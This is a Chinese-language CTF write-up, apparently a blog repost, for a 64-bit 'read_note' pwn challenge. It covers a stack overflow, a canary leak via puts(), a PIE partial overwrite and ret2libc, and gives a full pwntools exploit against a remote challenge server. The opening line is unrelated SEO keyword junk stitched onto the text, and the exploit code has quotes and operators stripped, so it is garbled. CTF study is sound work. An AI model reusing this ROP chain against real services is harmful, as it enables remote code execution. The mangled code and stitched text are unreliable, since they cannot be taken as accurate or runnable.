基于.net平台网站内容管理系统研究与实现,用html做的美食网站,网站图标的制作h1优化代码,建设银行人才招聘网站知识点
puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00
Canary最低位为\x00(截断符)
\x 和 0x 的区别#xff1a; 区别不大#xff0c;都是把数按16进制输出。 1、0x 表示整型数值 #xff08;十六进制#xff09; char c 0x42; 表示的是一个数值(字母B的…知识点
puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00
Canary最低位为\x00(截断符)
\x 和 0x 的区别 区别不大都是把数按16进制输出。 1、0x 表示整型数值 十六进制 char c 0x42; 表示的是一个数值(字母B的ASCII码66)可以认为等价于 int c 0x42; 2、\x42用于字符表达或者字符串表达 char c ‘\x42’; 亦等价于 char c 0x42; char* s “\x41\x42”; //表示字符串AB
程序编译的时候入口并不是main函数而是start代码段。事实上start代码段还会调用__libc_start_main来做一些初始化工作最后调用main函数并在main函数结束后做一些处理。
解题流程
先运行一下看看 一开始会让你输入一个路径不存在的话就会报错退出然后打印出文件内容然后分别输入note的长度和内容输入内容的长度取决于之前的note长度如果实际输入的长度不是624则再输入一遍
查看保护机制 发现除了RELRO其他保护机制全开
此题难点
第一要读懂题目找出漏洞 第二是要绕过各类保护机制 第三是exp的编写调试。
第一要读懂题目找出漏洞
首先分析程序重要部分如下所示。一开始会让你输入一个路径不存在的话就会报错退出然后打印出文件内容以上均可以忽略没有任何用处。然后分别输入note的长度和内容输入内容的长度取决于之前的note长度如果实际输入的长度不是624则再输入一遍此时输入内容的长度变为0x270624。可以发现v4的长度为0x258600而输入的长度可以任意控制因此存在栈溢出。
第二是要绕过各类保护机制
确定了漏洞所在下一个问题就是如何绕过NX、Canary、PIE和ASLR等保护机制了下面一个个来说。 1.NX很简单ROP即可。
2.Canary会很大程度上妨碍栈溢出但结合本题的环境输入一次后紧接着一个puts函数将输入内容打印出来然后还有一次输入的机会因此可以在第一次输入时通过覆盖Canary最低位的\x00为其他值Canary最低位肯定为\x00而puts()会一直输出直到碰见\x00位置让puts()泄露出Canary的内容第二次输入时再将正确的Canary写回去就可以绕过Canary的保护了。
3.PIE会让程序加载的基地址随机化但是随机化并不完全最低三位是不会改变的可以利用这个特性通过覆盖最低的两位来有限的修改程序控制流然后再泄露出程序加载地址。
4.至于ASLR利用ret2libc的方法泄露出libc的版本就可以算出system等函数的地址然后get shell了。
第三是exp的编写调试
通过以上的分析由于需要泄露三个内容因此main函数需要执行四次每次执行都会有两次输入每次执行的工作分别如下
第一次执行
需要在填满v4的长度600后再溢出两个十六进制位(64位计算机一个地址是8个字节)覆盖Canary的最低位然后将Canary打印出来再次输入时将正确的Canary放在原来的位置然后溢出栈上返回地址的低两位为\x20。为什么是\x20是因为从ida里可以发现vul函数最后retn的地址为0xd1fmain函数的起始地址是0xd20前面的偏移都是相同的因此可以通过这类方法绕过PIE再跳回main。 如图D2E为main的返回地址
第二次执行
在填满600的基础上需要再多溢出两个地址位数(64位计算机一个地址是8个字节)也就是616。从栈分布可以看出v4之后是Canary0x7fffffffde88处然后再填充一个地址位就可以输出main14的真实地址也就可以得到程序加载的地址。之后使用跟之前同样的方法再次回到main函数的起始位置。
第三次执行
要溢出的就是__libc_start_main的真实地址了作为main函数的返回地址从上图可以看出可以从栈上泄露__libc_start_main240的地址依次利用LibcSearcher算出libc版本然后得到system地址和/bin/sh字符串的地址。此时已经具备了get shell的条件但由于第二次输入的长度所限因此还要再跳回main函数再次执行程序。
第四次执行
将payload拼接好然后发给程序了。由于是64位传参需要rdi。通过ROPgadget搜索程序二进制发现存在pop rdi;ret;的gadget将其偏移再加上第二步得到的程序加载基地址就可以得到gadget的真实地址至此payload拼接完成可以拿到shell了。 exp
from pwn import *
from LibcSearcher import *
#sh process(./file/read_note) #本地调试
sh remote(114.116.54.89,10000)
#context.log_level debugpop_rdi_ret 0x0000000000000e03
#-----------------------------------------------------------------------------------------------------------
#第一次
log.info(first time)
sh.sendlineafter(Please input the note path:, flag) #在接受到Please input the note path:后才发送~/Desktop \n
sh.sendlineafter(please input the note len:, 1000)
sh.recvuntil(please input the note:) #直到接收到please input the note:为止payload1 a*600
sh.sendline(payload1) #发送一行数据相当于在末尾加\n
sh.recvuntil(a*600) #直到接收到600个a为止
#绕过canary方法一
canary u64(sh.recv(8))-0xa
log.info(Canary: hex(canary))#绕过canary方法二
#canary1u64(b\x00sh.recv(7))#绕过canary方法三
#canary2 u64(sh.recv(7).rjust(8,b\x00))sh.recvuntil(so please input note(len is 624)) #直到接收到so please input note(len is 624)为止payload1 ba*600 p64(canary) p64(1) b\x20
print(payload1)
sh.send(payload1)
#-----------------------------------------------------------------------------------------------------------
#第二次
log.info(second time)
sh.sendlineafter(Please input the note path:, flag) #在接受到Please input the note path:后才发送~/Desktop \n
sh.sendlineafter(please input the note len:, 1000)
sh.recvuntil(please input the note:) #直到接收到please input the note:为止payload2 a*616
sh.send(payload2) #发送payload2里的数据
sh.recvuntil(a*616) #直到接收到616个a为止
main_addr u64(sh.recv()[0:6] b\x00\x00) - 0xe #D2E为main的返回地址
log.info(main_addr: str(hex(main_addr)))base main_addr - 0xd20
pop_rdi_ret_addr base pop_rdi_ret
log.info(base addr:str(hex(base)))payload2 a*600 p64(canary) p64(1) p64(main_addr)
sh.send(payload2)#-----------------------------------------------------------------------------------------------------------
#第三次
log.info(third time)
sh.sendlineafter(Please input the note path:, flag)
sh.sendlineafter(please input the note len:, 1000)
sh.recvuntil(please input the note:)elf ELF(./file/read_note) #ELF模块用于获取ELF文件的信息通过ELF()获取这个文件的句柄然后通过这个句柄调用plt函数获取PLT的地址
start_plt elf.plt[__libc_start_main]
print(start_plt: hex(start_plt))payload3 a*648
sh.send(payload3)
sh.recvuntil(a*648)
libc_start_addr u64(sh.recv()[0:6] b\x00\x00) - 240
log.info(__libc_start_main:str(hex(libc_start_addr)))libc LibcSearcher(__libc_start_main, libc_start_addr)
log.info(libc: str(libc))
libc_base libc_start_addr - libc.dump(__libc_start_main)#libc.dump(“xxx”) 可以计算出xxx的偏移地址再libc_start_addr减去偏移地址就得到了libc_base的基址
log.info(libc_base: str(libc_base))
system_addr libc_base libc.dump(system)#通过基址加system的偏移得到system的实际地址
log.info(system_addr str(system_addr))
binsh_addr libc_base libc.dump(str_bin_sh)#通过基址加/bin/sh字符串的偏移得到/bin/sh的实际地址
log.info(binsh_addr: str(binsh_addr))payload3 a*600 p64(canary) p64(1) p64(main_addr)
sh.send(payload3)#-----------------------------------------------------------------------------------------------------------
#最后一次
log.info(fourth time)
sh.sendlineafter(Please input the note path:, flag) #在接受到Please input the note path:后才发送~/Desktop \n
sh.sendlineafter(please input the note len:, 1000)
sh.recvuntil(please input the note:)payload4 a*600 p64(canary) p64(1) p64(pop_rdi_ret_addr) p64(binsh_addr) p64(system_addr)
sh.send(payload4)
sh.recvuntil(so please input note(len is 624))
sh.send(payload4)
sh.interactive()运行结果 由于本题有bug建立连接后直接输入flag出现flag